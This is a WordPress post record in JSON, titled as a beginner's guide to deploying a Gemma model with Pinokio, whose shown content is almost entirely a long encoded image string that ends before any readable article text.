{"id":1364,"date":"2026-07-24T04:32:33","date_gmt":"2026-07-24T01:32:33","guid":{"rendered":"https:\/\/gymnasium4.tj\/?p=1364"},"modified":"2026-07-24T04:32:33","modified_gmt":"2026-07-24T01:32:33","slug":"deploy-gemma-4-26b-a4b-it-using-pinokio-for-beginners","status":"publish","type":"post","link":"https:\/\/gymnasium4.tj\/?p=1364","title":{"rendered":"Deploy gemma-4-26B-A4B-it Using Pinokio For Beginners"},"content":{"rendered":"<p><img decoding=\"async\" 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cDkjzIaq8KXl4duyAYILWnOxVWKLwS8HwzXCPHUcjSLkTAf4XvbR52aYPApufRa5OT3VNkhiLk0Csx60t3QHSY756R8XFYRV4Tai\/dQIu4JyKEG3rerL\/d9LiT7nWim+2iYzs0UnvUUuXxJ8+mDCbWAvURzivXohQzaVjpNvD+ObfBVce1btvqjVTD8a5fdatBWogxFWUuEVDoiyo3kDU+fCZAztYJkzSupTKFv9LNAbydvgg18bMCLWhXbTbCGk9eJQr6W+eCB+ifqkial9VcZK4nnGwxconsAimgUyWjqMJbFXvk2Xk4nf7fqSHp6ow3nIjgBAXYHI4ejpBZ1u7heY1WBb\/vHWtfznPZVrRLEvdMBQdQQsyTMREqJG70Ji3xwloG6zo2B2LUGv60oY+rsKmyLaDttxh5SmfUXjP\/iiXfsUM\/GUcxUAyLcql7neZ5QqWGFtLQSNN6OKGaRaLSz\/Ggh6MU3PBsMVzm\/Q+xSfjQ9zU18l4BwplUA2oXkYg38nv+n8oHjGgsPWDcUz8v4OaL2cp72quf0LepTHa0WoA83OoJxLb4CV8vdERoTt57j4RwYVKOWpRQITMJZ\/eQgD9wFOJG7u\/KRxXz+c2sR5GFn8kWPRQM\/giq0J\/Z4R819Y2mJMTN8MPomvsOVlDqHhHgkkDGAG6AKOqgUB4sAdyxgaAA\/83wN+CzR\/y8QU7XWxq\/mz4sZPPAUpQXYnJCUyTZxJkqTNt5KNwC21lmN228hZMez8dplzZVBG86vhUNscK2Dmhwy44r58hoA4wZWRH1xAC5x1P65ukIWz\/fvbLyc8SbAEEwdtuzf8Kdt2u\/XYKElz\/IuBNJqp7PZLUI7B2yzuQBEtyaPKhI6iqATMZYrhjym6IGFq+eJB4nANTuEhPHAygg9JUabSY0OytUpXrL52J+3HF1C3J\/Kge6EpiWvriMhkZGfcyCh3H\/7sbt7lcLpYZtLopwjw7c0EljRKGPwLMgyLItmJm\/+AuRb17wC+4wpCP\/7Q6x0JKq2GPcXg\/Lf6i\/T6XYDuhKVHlX+Wa1vMfRyrKOX+pGoDl7ynGramVI8m0QORwXKjG\/2mUWYikRNDh4MtxLyDGu9Vq6vl5v94lACxV+mTgiT5t+Nkt4sbPmRlaHBBboYfbUZxcqiCxBrIDFCBNp+uyQ0V+T51hVUvKq27pXfZB\/w6GVNgTjI922Gdowf1TED0vvTMIXNMfgU02RAjDkbW7t9gMfl\/raulP8jQIGFU\/8o0Fe56Dvx0KhtX9OnuKskJVFzEnrw3E1RmMJjpoyxkQM0S+pVEegKaJI+6vUmkx0GZftlC5j0aFSXomy7GNuhHYuxYqC35EsiDj6pbm8RLjxBco2WiyMXqrG2MX0TWkre0I\/MKGH0Mkvax86LDoC0DAhQF6ekqotoEcBFb7k+Cy3y6LWOtpLgwAnb627IChBhU6tMEetz\/DRPBk2C3BlrBbqcwbo\/KRvp543Gs4HiogrLQoOtKihip\/V23dQJKwzTeHD57v9aw4\/K1QO2VBfmSbjd3m\/oXYx32bbdde4pDnDSMYcSXQjjhbVIt05z8DyitN3Ape8FqpN0ASXpJWJEgJD6vOnwiUdPWML1AvxVMP+Wo1S5mHBW6Az9ESblyxhLTTYesFBLHvVBXRTS3UzpJkdmr6\/CTONWBL7XMusUlrWA+9bFyuDQ8Gbr0eIKkdlRoU79btO+Tp\/6DShQMsqeAMOMFuR9cUN67bLAkxLCIN38VFer3mMrqBTGl\/TPsSN5IY6GNUEoPgxg0636EG3bj0xrUkEuMjrr29IXXKzI4FuSBzoLeMKMKmUCK3NRbcztM3galIQV6aZx644svqdlhSQkLfsJgB8lR3lFo4Xdg7IreGjf9PAHJefqKrY9TXP+ajjam+RxO9aeiBA7rc35aN5BKiBzVvZwJXTzZUg6eOmZKoG5enZ9mYkilDwXee\/whBu7q3BeroIk8gOYJlN7suPbtevovRHIbeRqFAhMItiKyrN4O9\/xiVcFUE++wG\/\/\/qrp\/zoj\/VVDBmETNCZp+VptpRkHCfVnOnKNjv\/0UO+pZOF76jRDv0v\/tsriF8y93k1c5VXpkgQpCQNILWHfhfiHq7q+AjvXC1bUXDfxcO8Mg4BmKQcZS7JabgMNhvqgBOTX3hkmQouhv6r4c6G2HQqR6BiX28oGD6NImfM3O3cf7mz0vXibNrn+jxenT2gvw42h7RQqaxlGtLsP4RYo9VQuCLIzw2F+Yt\/8GCL25fks\/JgEpUH0NQ3oeLfQdCiFkzU9RAuzmvqq9PNPcL4fmYg7PfTnM0czYfLWFmx5j7NiexRERrAUpjI3H2qgySspBnIClP0SiU0Osqd9EWjXv8C1\/7s5MUE8akQbfVDwxvwSPFGUGyJBjZ0Qx6\/sVQgFs+38p\/kasQ2sQCaC+4I7R9cykykrmH1nineHnLYZZjp5Z7Ae4ePEGXMl3Jm8UTBmrQ4hEkwMXmImY+qew+vYjd0NBkE1POJvTvWhEr19sQrDuUaehSbZZhZmgYepTa\/MW9TB67pylN\/\/KkSPOeXF8j2AhjTzKsGZ0oLzCoIWtQlDl4oo4QB9cXPVGefiVmuxYWUXusJl\/O5Nvf+4SzMtUjJaOszTzPasKRaFpqHmSdvsgH0J5LP7vSaRNYaVWF4C1uzBfmvSvyHCUuMbpJpa3EI5yTe3ycBv8uk0tWvDlIGPgBaYJDXH8OiWjW\/V7jPr6WiF7AK5dO7pr7\/rtUEqeR0CceQiIYYWiupMPjJVk\/LnvNuHQQyQ+\/asJ+U2JkbaJHKJyLKvorzmcjYTl0RRCemwj6S3rUb7ppZHytvD9ypGC+VI+AWwwY94YewVmCFYVSf\/cLsLdR\/n\/S0tSWH7BBDJFPmEbOs0yqiPUkh4vAdAe4xf0NHwk+61Aq5H+PzGBYYqlFtn5ZrOXD7UHjBRzoNSzw+A63DOF9D+xCYWByII6\/\/2qxIHMB2TsYazAzV5rNdNxsGVvAWrV9W67zKewOgu3V25EHD2\/9tt6oocLZbiqMPekkwoiylPP\/+TJ3ZuFXMLhKvybGKUyfD4Y7o1wljj1ymtwkgLnYjpHNWZ4r4OQEVVDwrlASWl76tO9\/O5b\/CFqcwZ4ZcFMVV9Jq5zulNVe\/GM0D8yCnHgjCIhSi09XWfxeq5sJ9Qh5F+Zr\/puEHZD\/nLTFDQVhsddUFtmhZn9u2WIvycC+tuWqkeypcBTr+Z5LIGk9Um91kU49u3NpNNC2M5KYbA53ME2rfOzW0E1W3VR8bPtjk47bLvN1T+BNyWDsn2P2kF8kNQ1rUTaZD6tNaKhXo43kA7PhY4C\/d3eKaXjQjsfcNCcJuDhuV\/a1X4oZLqXdPx0Sw\/HhyHD1Sxz\/rdGfbakYnwds\/t38Z53R89oCjLBn9M9oIMFfMLD\/9geLe5\/kdyhvsbj5LaWSDNMVK\/+nu6MlxGDb+TSLohPzR6MGXAhBuIUzrRcsfchFjHHYsPI11r82dYB4tXgLiyCukgrnKahf\/F+epeuWj\/qIs67gZNOSGwXf9alpXDilWXeQwBHKjIBNpYv791PHvr+3drN+0tO+5YC3USgXe7sNkcztndyPaWzdg9+c1\/pOmBxFwnqqGlI3skOkum24KttVZJWHV7SABntCHfIkzUDr4FtcoMzezZbYv7UBcEKdY19jriK2d7bVLogahl1++JafKo2z9tdFPMxutCTMXCEtUP364Aaj0DdMam7FeABPGqWLmy1wbqKiZT+A4p7x+uaE0HPoWlj0LFund\/gC0QUJDP9nh3DokCVLP5ThfrB2Xzb4wfdtGShUSBvW\/JOqg2susU2Fgqk94vTOPIb8cCCifWsTQz6kjKEA\/i0CVCGVuM53rralSMe7lJcMG1v6xizr+121+rt113Sa8RxHtqpKxzdC5tYQaxDAxjql5\/UbOsq30fAwUSwxL+X0hrTwXXWhcdJ2l\/d\/IdSihgpxf5FIwBDCLu11gVkVQoRrqnv8WkL6S4ZvWiY2o\/PxGCE571m9t0X1TOSvFHMeH6ojjdWnWxrkEs\/xxevxTkLk\/9uUf99Dv04sc0iAQ\/\/HJdIjjW+lntkw+fzzCcB68whFPdd76OLqt8Dl3sN+KlNHASyvAsqhF3QQ6lYLweuc1+r9ifft6C+GsWaS6cmehCTvUx8NTcuWkOeH+3bVMHJvNsyXHlv7zf5p6b4FGA1neT\/iq7pRT2wWTM1jZ2XMe+w8h+y+8ishCp2uXHf9K+Q9LTDLxGna7XB0eIHSGZq\/+qHEbdY0y0hZbaYNa1+KDdAHpXNY9Nf8h4Fo2HMibr05MOn4oGTllC6awBCUM+G0SFOjf9JJ5gSqfFrv7H3GesHy6IPxCMUINUVaIeCS+l9MuMXokrjnSv2ZTy5uxMyd3O+gdz2wkWQyFHNiObgQTpcUendSH9bIebK86vYZNV0KlAGlJUsBddTLpgcielDzzaaNHfAgjEY3xx\/llfpRhXzKCxS2il3631JjpNs\/m9yrSOX25fIAx13Dl3kU2GAAcX7E9G0KBDIgb+JeGDFKlLU9h2bq0sqdXavRj7TQNH9pTgAgnJIIysw7+tEQ3RtEU6kNBWPSBwaCvJj2S4gPNhSjaryikfv1dC3mtfUjY58ADTBIu3KlNa54zUFLMxVjuCcBbpBgMj2RmelOrySC4pVO4uL77K7vixlIURHiqhcs3dNJvV4VNmxqRBATHq20\/ne5mj0QzN5Rba9zvygmrwJUcGETSRXbngb6k+c8phXHxU3a3dcj7s\/\/zK12qC5oz\/e5Zwrcg7xKPYqghYsP\/ntQOvyT+k\/5KRT6B47AtOVVot8uYZpXGY5\/xrygnJoZNxThEXwyyZXKtLHbNt43o7UeJDynfglzNZ9L5nh8+Q0RlURJP7nyvNeFIDXDN0T32oORJTg4Rv1+VJHPKy210RCeWGEmFZpkT6iouKH8lSf1cIbOJipXE3gY093buFfN5\/Tl5laLd3vl4AOku0Y5h0ISmjbT3H935UoxcirT3WpfCelDl5foi\/ofumcfwjFkh\/bN1tRX39B2YHTdJmvLvLaLOWiI5Lp6UttzAFvOl2JwtyUGhbld6R8Dve9nOaJLCzFFhmWkySKYQdlqpnJOo6u2gBMhnzUPupKaMOLFMF3Z\/JhotVSfAktBzTGLey\/i\/94oYkV43C8l17o2AVCjiXRj+sHB60XYZDmVpfLf62pA+1g0uO\/SsnoiJ7crYDG564Q+gSWXJcNZCPk74xjWw6yFaZ0OdmLbdkJJqpamh3g7B\/lYSLkwU6\/C77LtT+z0OOZLlovb1hdvfXfRnaWnRDeaoa2oTZVGrYEyl3x+vcQPgRse\/kEL7+F74CHeGM0CgyHoVkVUrhub\/V2CtCU8c6ioOV6yDbfPGd+H1KApa4cTkRku7hMd6EkaD\/ejPNEO6mJrWa9jEwJ9N7SQKBjEbZUEL7YtiqRW9Uc2as\/ORT\/\/PFTAbFhPrvljhxTyYBNre5ysCT2j2vkeKX8\/rPji\/Twqg7qE6aT13X4VjP1A36XlrRHcX1obMB8QxAsnzLpooNpG2R0RHDpu4uaE\/j6cig2vsxIs3eCvsc6AMyvrR0d1EdQn3IIgMGvYHVCUUTGk6kHCBoDR+ccXj4iZSNLc55BPPFSDtzHInZiHvA9J7MMgWwJQa+UUuasJ80uUc15RXXhoPQiT48X1X3po6BTx2xglzyzyoYlnlJ3tveXhg1l5Nqr3p35OJmF\/DEm8\/LRzHt2OU7Cpe5pEE7\/P\/JBDTaGa5uCt2QBIuXKl+t5Wc93pxEjZ2FtKNqVmbdS+nC\/k29bFqyog+pZm8IXuHW3iO\/fnckul0Ucpdtd8WvuULvGb8xCAEHp9sOT1FQGC\/+o8YlGiG3zAoEWKMRenEv+MawsdHuvP+djIFWmZVXtv+GxWcvIznkSvknx4Iw3QgCqzmRg9Qz9h3j4NFT9RxLLIV9\/XG3dfiGBWscFLLVGfzq+2GY5vh1hVOHp3no7PVL90sdBBZtESGLHLoTDKTMbOS4pFtgL7sA96VY5XfehmU0hVV9Ka\/hK3T3XwH5zZQdAPXmvgxFLtiCvq7ejCcv5ErMAAYuisc3q5RX2dWWzW8UHutx4BhJyXnV3fWcXzR2oJrBQo\/6ppCbaspeqQBh\/W0gCk3cUOulQ48a97OeI4urhNHZR0TVOijbaxlR0RBW6rXbag9SLMoG90MEbMhkHPMOl3ghkhsvbDM22lsEQWUY8T0iu4ImIK5Pet\/t8zc84oO25y3oPtDfYm6bwdZLXj0qaBPyodJJCs4PSGUMuPYhs6pRK75LsC+fO7I2CSjXC2lwEIA3erDjn1QJ5aKXuDPAMzRBPYoPA8mXqdAe8UamMqcyWiYGNsXKW8ioAokjyuT14vinE09DUaUz8I51lap1nzCpELwYa1WaFmou5ZlaFHmziZhHP5jOouv\/EpGo08pQJDqBm3JeEwOTqdRlm\/S40KELD8+paieZ+fk1DXUJ\/D9LMJsZLanhNztV6RUFu8O0bKbciKBDerrmqzSEawGzmBenGBdbjKLCo6gxjTMkZ\/LrI\/moSlWMtbLfsKUO1xOIfSgIF2vkrvvZFsc05luifV5l716MXYgd\/xZ6ohxfzKy2pKTrP7KVRyRDOU7kA\/D8jr95F1F7WmMyV5Uv3yOIkHF1mEGqQ7TgXTk6VBVsqqvhP3NEoTf2YqaDHEyCh\/NzKJxgc75uWY5ksmppbbdsJIViexllzmDv0V+vUjkQqDv4e\/TyMXE5NMcEeDoL1PYItYVHfRg4tsEuVCtlLR\/Krao4Kmj4wlgBgB6VAgQX\/27l8f0ENEGkpO+NxvMfMYdFGc7\/G++E2pnoKQhzzfSSRe0lZI35629rFQl78jBc3fv40gtaGqIRPETrwRUiaRupLnxDwqr9vgnjCXqoPXDjtjA04hzCjtzR7aT3xoQHgwkxCypKV4srATmd8N\/4iUGcjO7J2jOtB7fzIr5\/86PO9ZeciW9vlMUGIQRyb1WwvyrD+DtntzRh9Ldhfy+3S3zCfHuxN2jYGm7vStn5eGuDRZKflhvwc9kMWn2Q1LFQhhNpzlyE2Mv8ly\/Ql9KPnQY7xKmcqnf84+D3s0HDItEe6YAp63E5cMci58dsIZe6sCYAe1FnXXeX\/0UtOmmX33pA+HGtUBAAGj+leWjmIzei5ZTyU\/W96r9wp0B6vaWxqrqosmTExcPcaGC+eG+ZkYzAwKjmlsZTdrRqXeFB+z\/ZLUZ2tYE3hltxGWAYPYU3mTFU9ybumZWvk8yQMTA53YabS\/oOx\/22jrmMUIwknvNu8m6E+hIKnzFUtrzPBBAkW6QksbMZwZrKqa2DDjGhgKXKp5G4C30bhHoomG5pspYAGTPcwci+W0e5Xt18suSfJiS0LVYQZhKD4O0UWdX0mdfnV\/YUgPtyFlQ2ezcFpFcn\/PHIK4+y0lW8f9TngGeg+C47ybwgO5J6G\/QUKCxqGAuTAASwVV9tbnDmNBnEhRhk\/HQTLwO1CND46yxpQBgS+4V4jcOviOPepGV+\/kI7C5fJV\/dl9K3cqj8hUcMtJ3pzzbFo2QA\/vrUtFmAWJru2zavLnpsM5MfzyN14ZkxtZaGiH9gslyWNM0jqSRCEPDf1PQEu5envDbHCv0ZGrKNgadCM3CVugoY7QdFC6C\/xJcm\/oU6g2EuWTp2aQZoO12+iVP9SqbmgTcsa603wgQqdl3WAM9j\/KE4BR2aaJf2bKQugpVmUFO\/AW\/m8FQtLaqvBU0OV8MNukNlVBYBWiSVGz\/w0c65zjHEeGYQk5U9zskgnMZ6Spt\/UBWdD9UUqlHeP06DA\/v57cimyzXVqwCWT\/pvd8rHBkXDRmvpvd8rFVwqHV0W9mxIoxJQgCsZn5NaA3s8W0OeGaQeOuwpWuwKvfqpFRCa8ZOFAq7MUus7ov7yhIoVmYouZhbhLrPLr5WMTLXHjONtZBn3a\/L52Gtn6qHb\/7WxXwY1R3SrXLHEW6ejsjuEAqQTj0eLGtkJhgC+O1vmP6D0g8OWQub+xSQzCp5dwgHAHbaS\/fVRQJv8of7gPQOtsgv3nJJzvxENdKam3B3QGyiElzmgnYs3hS+vzx0IDavNYrD2DjOPJnvYgxboICKBFQ3X5VnYoRe3cfHd1CxpHIY9SwuEc59qpep1UFwuwkqEHJYz6X\/37lCnLM848QgMepbxcZHWNr2NC7Tf\/NTsLv0njYfwD78gcwYXI3KFHwZeX\/RBIrulms5l2XsVmV4+VypyQopzvz9i\/FifTf+SQUob9xtlSY7IyGPIFan8ER1qjGjDWkFLUoDazluBEWNd0Fb+t1kSD07O+P\/CqJgv3M7xKhD9DSgfZITX6v9bs+opr6GdJ4WZEhf3E6jhfwNub8ocsb+cSMU4dStkhJstYPeet4hlD+TwTmEfxk2GdMujRsv+QPHFFc1C09lX8LUOpzUD3z1ySv7bkqA+sDZ4sUysPkILyy2efv436Ibw6s6LxtWKt8cna4KHUp+fC4cppYNpwl9GzeYQQSdFD\/k39JjDGbCz\/Fpp3vy\/i+d7D8ZQOFs3ZtukY7UKTw6f1o6z8TezdlxI5k+ITZs\/qo0lGhcdjXB4\/S34A3Im3vhA6\/nsOjHOzi7x5PFOQNwAa9bTHJkja7FhC6HZEz4vDHijWdz5rJ9bqvjZ1W9nQXfgaIRNu48\/Q2kVlaBogStWBKu9ZRuG09eRTw4w9n\/lNRg8AiPJcUmdd\/ydENiSpBjNkjw09EHg5lEVZO0ObwgvEFjQZOwhnHgJ0uqL+gMMzTujrti\/ecKOlK5eurkReVUPi1RzPMFxVg9oMO404qZ7diqpo8YPbfhNnZhXz7eNKxoxze\/Gf5bsxqRxqZD\/7U6s1nTJPSXJcTXXeTVcqtAKMGieIIy3zltnmrkpM+VCX9Wcu4knqdYIwzjg7TqRb1yfbGP2MD\/lKuevkMD\/DP\/jBdvOW+qtjg51U7cilGLS0eoz8s1ZxWFf2yFPUi\/iOKeOVeOA1hmNS+DYL1QdskNgjW+wx48EkFHsw4ehCTinOumkR5POGzgdUCM97TBmGQmiYGVdqTB3ejyXpzkGawtSaHXgATVmPGGbGTl7QDal+CX7+EsMq0PKon7Vm3h0b8bnf4JSidPl7Qxe0Yd7vvlR1Q4wIz6BHo9KvLLpbR6F4re5FiDlvZ0aCyhjfpOnQujXktMaFRJM2mZWFlbZEbi2iYLCtXq2mThsNTdiMZC4o32sp7BGm98vcJY2uFDUXBpzi8bln9KdCo96V6Au5K97H2nC27svDFOQw6ETl2aWQ3qrPb8eCWBr\/xtO+XXrkli6FtpdiJdY+PtvmfBayDrIhbOYpG02+NFSP4RPlQ+3q0Qh1\/bjJJgKwYELKbhVPSyNd3XHabaDHUkoYW1Ye4J0pdA5uJRrEjK+6O6KDnm+cjCdaVhNorg0lC+kjc30tg3WvENJQGyRgizX92B7+tGIV9c1EVOGbYX2H2ZpaM8hJxTcU54ijAcWOarqvVXmyY4PrnXI60Z+xk2uNwmFg4er+YRYur6zcJG4+j7Ods1+DgIBLbWW6RWtLUkmLr\/T4nhq0CTH5E8nKgxBYFbSJMynsigkEhTbSlA++BHzgTJAVXAAY8RAbCcvM7+JIIqS+w6HpvEdeR+khMaREAM\/oVoMtY\/TYEV9Go\/ugiiyzRKS96k6J3pNBiw8n6Bj4ooR\/MdWr2MFYzZTsOt71+LChpMlSWKkE9R9\/rhF7QdJo3oNcYXgj1ty\/+VnxUugnVP6h+mcRT0wnCcyfhe1hHN3lfm+xkyXO9NQ3uXMTrxOO5klf4zttiWXPJj27hXErCxjC3Ok25Qrv8M4tfE+\/C3wDEgMzQSnN6WieG\/rqT+MWmKVtQOPo+m1OqqscFK\/bt3XEIz+Vk6NXityjcaVPSyvPMJTV1AMdHUVYN\/hSQdVw8YqgIFbaBYCMypYLwdNzg73CVSsRgQ3cwOdhHNgUlpP1p7Ii1WQgXSpVX84Vj5GkmWP8VtgrVVx9OMppvF\/1lVoyp7khFYvoMKsUR9HIIHTKzYmlNcRm1fJU\/X1bbLpXEFcXO8JpN\/CTpifBUnHVKU9Oz7\/6aBZLZQiZz1bxNJv8A81D0LaVd\/S4C3tLMAvhCgHVV+n3Zq1AiovJL5sz5C\/Do3iA\/fRHIa0wyMdzNpTpYjGmKP6U1kKAYk+pCxEFccJYpxz5MiUmXX+MZ2Yoi0NHHw2UbK0fhekNtkiiofflHZ5J95SqPTFlf9y9HkZqN5LZbXgyQbkbW58Rrav1auTKEcDI8B97jyDmhB3EpNys4nRNli243bkfb3cP6RHiUuFXL4uFJ23lSmQB1rXYdrzDkY+oJ5OXBrGveXA0JL4lHVzTntkvco+swUjm3ZYFtYWLjIicE7468QsStWePlUaCwwtGvAENVVzJyWobllW\/X0lmzTtdQWgZ2ohQVncshjNUvMFk44lTkfXUCjy4oxSquAStypVm0WNogiffqIGRCFWMmyGe18i3tS\/o8tBpgPvBj3gfsp729aKR+voe8KRpAjWqXlyoN7nh7XNeihiwA5pEFOzexbVZe9d1NKlXg9dzc8HkejRDIBNqpD+VUi5AqyysfGln00mLITx7mMn8KI4xod9Mx1JtaOm0Fjtk3Y5b2fBegIgnthcpwO9V6TumwopY\/FLJQvFCElV7Y2Vp1QaC5qXRLMTw7ptS3NQNBSXArDe7hkMhYtLz2IWeRoAj5h4lqMYEH3HvRjSSYK4Cp\/XrjOvcaCvuU3cfhc+G5IsN9g1K29rHDZboIYgAWprh0971yU5y+4+M2cXWEBCF9lwIu5pct4XYgr1VAXPZYhBq4s1QFEF\/j11ox7MzxEdSW6QkGO8ucb77m+lmobyhzVQMqeTZupMnScN04OZ793S6yu0wnF88PMSdePFSgbfeUX4yIMB8dIp0FLQPBwf9rv\/4mVtXUCzWlKbWJ8k0VSUEv9HhaZ5cqtoy7mxmQ2FGTLeESIrUJBTMqJ02Pi6njBVpE\/n\/8K6beD2vScZqayofgyMQEKSZTUftSnFXOTf7zp0HGZk33KzUhXBg9BNrebC\/gLf5icGuzWym45qKDHVp1DxRJoDHcqNZyjQLxDKhSj6OrL\/\/rqpHZ1Hh9k16nv435+IFtmRP6Vw9mkXrSlTZjJM\/+vf9Wt07Ll7R9ouXbeZmeWjVOgNTXUHvi\/i9Jk0IYaG3\/wnVTInvdHpd1SzM73BFbOdBbqvUZLWb8hXvgUblBRQ2QTSM3cBW\/zmm24t19TeiPwmFyTcm4b+RsvaEBQKTf3eY8YVX74xJJhfgBdn201oeBGsyIHeMO41KNRuWXdb15bJRyMdE1UxF8pl3Sotdr4vEGrqF4LllNIlpV8P463oC\/li\/8HpSCdYQxfyASEEvRh3Wkm\/aWIyoQFlfs5cE\/gzOHfFo9FxEOKPFMxdeTqXwz6bvjt1rqfOl8dtWrabiypAMZONt0NSChj4UOm8pJYzl0uhohwfwYRBC+kAyb7QRBin\/5R6OSfD2bI+YnPf8M98ROriwC59T4hOZDgLuQ+h814fnHVZHtVoAk6I+PaOS5r0eKSQ8SlqPN27NQFNZmFWbVMG6\/Z8mXVIj8Xo81acP1OYsPauC\/YskHdUJRrEJhGyNEBVOsjqtxA8oMpRvevOiWqKsU2ZaysORLX3U9ptT1QE13PpOLAMz57U1t6FeuuwjhSdZHII9OpJ23S19CsOFBkd2rQHxxDoWetJJSnSVG5Nc\/y4WLxfByAjip3CCpgwxgkSYT2\/jM1qHUFmIANmuN59TPGMW2c5Q5k0ZZdxQi6ram8ZtM\/Qqn8n8SafJiGQdIpsZbcnynT0kdw5eY8YWVSPQ5dnbZ8WyGnvOFl3xH+nPsKj1rRfpfudgBPa62IJ42pXj7inJxSZViV+hoRDswGJgQchvN735IqDTQkGC+JW9m13QsA+RnRtyHIqA+zHQtzHAew3TXTNRrmOikqWRitQubc4BUesi+IV3YrSfZygvM91ZZNlDQG\/eLRru7CMY1+YdgJBp0caDY9cc8OTg\/cqkZKh1lgNJqb\/htvIhv8GA7nVYRckqNjy95hJ5CPQSjPdvmsVKSVdoG2ywFyWxsunYlKg6Inb+yKQuuay6v342yKzbRXpgoszulLbVroGP6cSR2uXnUjl\/gS+rjOua7m9r3rrozye2k6x2d4HMYvrgKbleChYR+s6ix9iUvm7CRsklKHBShPD7u62tpeWpzXXbPws\/Mnm8rV71IYTY8mZL4tY4gsbXG9u6znZKXSa1t\/YKrYxmYN0m4pkZz6YKjnvkGBr7CXvzA5gIIY8OYvnz8VD62mLhFeXw2QVPOGzUJGiw7GeNs9GBTbXFGzTvg00a4B\/if3HF++ZiN\/64WjXaJNz1+eA8ZsX8imEmU6TYocKiMo4dA0fvaOOmzEuz9+ZnN6pwTbgLkihZjdHhaJcai64azh0j5hJR3thIE5fgK8yExfMM86aRMp3sMrU6TUwmzh6Ytnq6A8ntbXbaq858JFC7NxGTD1iTJZb3NSR8S\/Iv54HrQzjQWcJOPqbo7kQtO5m9TtyGhsumh2\/mQmmNENcNhw\/9VAWIey9Dz8jE1XyhS0LTe4YiipOK8nIqOJhn\/doKddyrhg4V9Z8Tz5VM\/PTNJ+B9x1j0K03LB\/eorYZwLDQnmktYtnsHf55uC0Nf5hwx+PIb3xMy800hu9uBJwhM4+wNN69dCDew1jpVUzODQEhUbiJ2LZY\/HPg5honHi7Matu\/jTxPSzdfqjvC0Mu2C3AUljdeUslVmN1heznc4hcKPPq7Xsat9H5QC+A1w80dolUjifw3JMJwyuScz4ncXV34jiNC++Hi4E47ChBt3wqKqYkN\/1Tc5Y2HlS0XqAsbPClidjQY+ZpN\/jLWDE6lYkeGkyq3M4Vf5MRnWWPsWS2ny4l72aZtPNLjEdIk4jmBJzYR2NqKizl4wQMLAezSxOlTG00f0BUvK90RY4VkeREQnLK8+72zsvk9HOCYDt2tXCy8Tmvshpg8FSMokiKaVGRaUFSjgOBn6MvYwmwI+LnXM4oPDMvVIJrR2E4dznJhS6ygY\/hneafo9dS2vchqzYPDcvtZHc6nEBnKKTvGxzxOFNF7FMF7ttKh7Qhwo0N\/ib4RoL02nw2kxw062l4inbqHi7RNb\/iyb0GoYLjp0UGnBv5LMYolBuuyvWdCgnPWy7H7ra9q16SZI2K9OgihZZD9HpkAT\/woY2jUgZo86ZG25ByfxJsK6TF4dYy3o3J80itWB75q+qacUl5kJ3fXu59C+V9Gq3lBO6oBlrRfs5KCcNUAC0fJf1QZZiYVFWm2xSm1E0Ft5hXV8RKYLJmPYDnMCy64+c\/+hYx6mdoO+8efxz5gRTsi+vQ06omdc\/m3ek0xUQjVXsaRe2lpi3vdG8vRApd2vC0CttQy5tUOMYwObivsWb571ejaV8YmNnuY+YNYUHeyXMRfkf6x0fObebDd7sKhru+hevvMsGGkZqSiHsJ5EQWl0Q7iNSf4ZGZzfVznA8DAxaCozyB+4q7vS6mHJdwksHj7mk\/uVM97kTgiO3X+TVVX1fE65QzLYPZTB5qpnocuqwdIRKTr08j9QUTN1E9Vl3fIrvS8iTTVos7Vn7GYQbUBR49VqhdHTg24zwbkz1SBhcvg8BKUZekiJDVt12DDFHYj6nVA7xiTLiJJivM3nFYTdmcwwfxln10KabFgcqrae+hPPqXTevL19TpMyeFy+weSN5+U5q4jxwTANkLQR7SUK0LHOAPWP1L3t9+uQKcrEU4ZOt44MhsDcbGpr5S4L2war4Fzu1S+qmRf703UYSNlnZDmLJqtIoabM3bUfFTApTjB7av7\/bUsLnpkYiAD\/y5V\/rWK+BDQfZ+XZNxd8ydAJq9K6H07\/k7c0o3WU\/6bCRQzTNWuERl\/fQqwso5x9NJKbItieBxDKdcwfHjZ7806rVcQnep1+UKWRpSAPIuYp6ghrh\/SvvWnpuwzdZ4toCrqABzNTGYyGSR9ILrXcUXbY83BndyutvGrbZY84JCFV95glI7\/scwbxtVSYJAtyUY4x2o5whEGC0eCszAw2LBiWAyqRKoz82hxkuel\/hoXWq4pHMcYEMgIQ4YgIyGwCGC87djLeL3t3+kDCZwdQJWUYG1HHOxfwtiImKwDiqKdrDsxjMKPV3DpTOzm5I9CAVeArKkqTMVDIH86yys\/Cjm9\/7jmeIAoQ\/Z4\/2M1YcC20mpRcPXw3kqr1rTjMl2TvLjCtJn5P5N3vcH7WcNTbqOFTCNjn9gaAKG9UZkR41cvrdWs7y0XBi48+y3WWPKWmRVXciNRxw2L4Zy52IuFcwBxfPloESRr6x1StB9G2YQN84ZZ+2oQARJboPK\/NXbfwsMhmUY9+fVYvNX8m6AyjaWjCjmvnf6ghHoVYS3d4Je8TF7JNGtFM7rzxjdyD6KcbAXkU2WqJjLP1KInp8hJdOZ6pXGsSNPAUPd83IOXhTpsBVcTtMvjrESbrM5WGSgUacLRTQ\/gAT\/36Sf83mSVGNE\/L8mltlW3dkhdiAJ0N96O0UyTsK8xwEuJpuU+U2DmwbotllwMkWJnIxZvkuE1T+Mzra1T\/n5EVkAt8AMQ0z2FIt8bS3zLRKDeT0FEJeEZYdOn30F3MmVUipZg00ZaTsF0M1YSw4Kp5MKNHx\/5u2GwOllmBkRaHDw6Dzkf2rEt8eZdoLBiLq0AUj8EwNR+YBCMSVsOTH4EwNVvwQ7LYg3m8X7jxoAak8OO14IOxt7LfgyjoGL2aYs1OIk3uG8OOfbv2AiSmnL+hNB4ny8unTrZe6Y2WdpzRExfpk2nk+ueT0\/ERMzRb+wvrZJUHxgkjSxdie4gr80RVo2lvzl4u3IlJuTdnlfHND75UU0f6u83d8Kz+TTtV9rPYfi7oGoa6hT+NzVSQNUF8izHIcDU9sdzEnEkJKlVmTwWANL8Ka07oS0k4lG3OAr6TJSdbnjHQlEhrWBnDo3NAEjvpbbH+GaSOZuNHIBXNMKGC9RiZ6l35hAoYs4Aiy7BwK17LSOOtCI8jJa3\/wjSwotL8rI6P5d9NvmumjZo\/nGhq2OKvxVka0ROVMxMMBrNYyW0+wfedq+TL83S31xOZCdssq15oouNOnVlXm5pH6ZvHQ+HKJw7R\/nllWj\/vbUwS+SG\/Bf18df8L2GEKW+JqA19NioKTDzL8Omzv6Y7vCNvG\/wq2dfpNouFbzLPyQqqTrL3UruwJZFkK2y5VIVd8Mamt+LztBYgSJLdT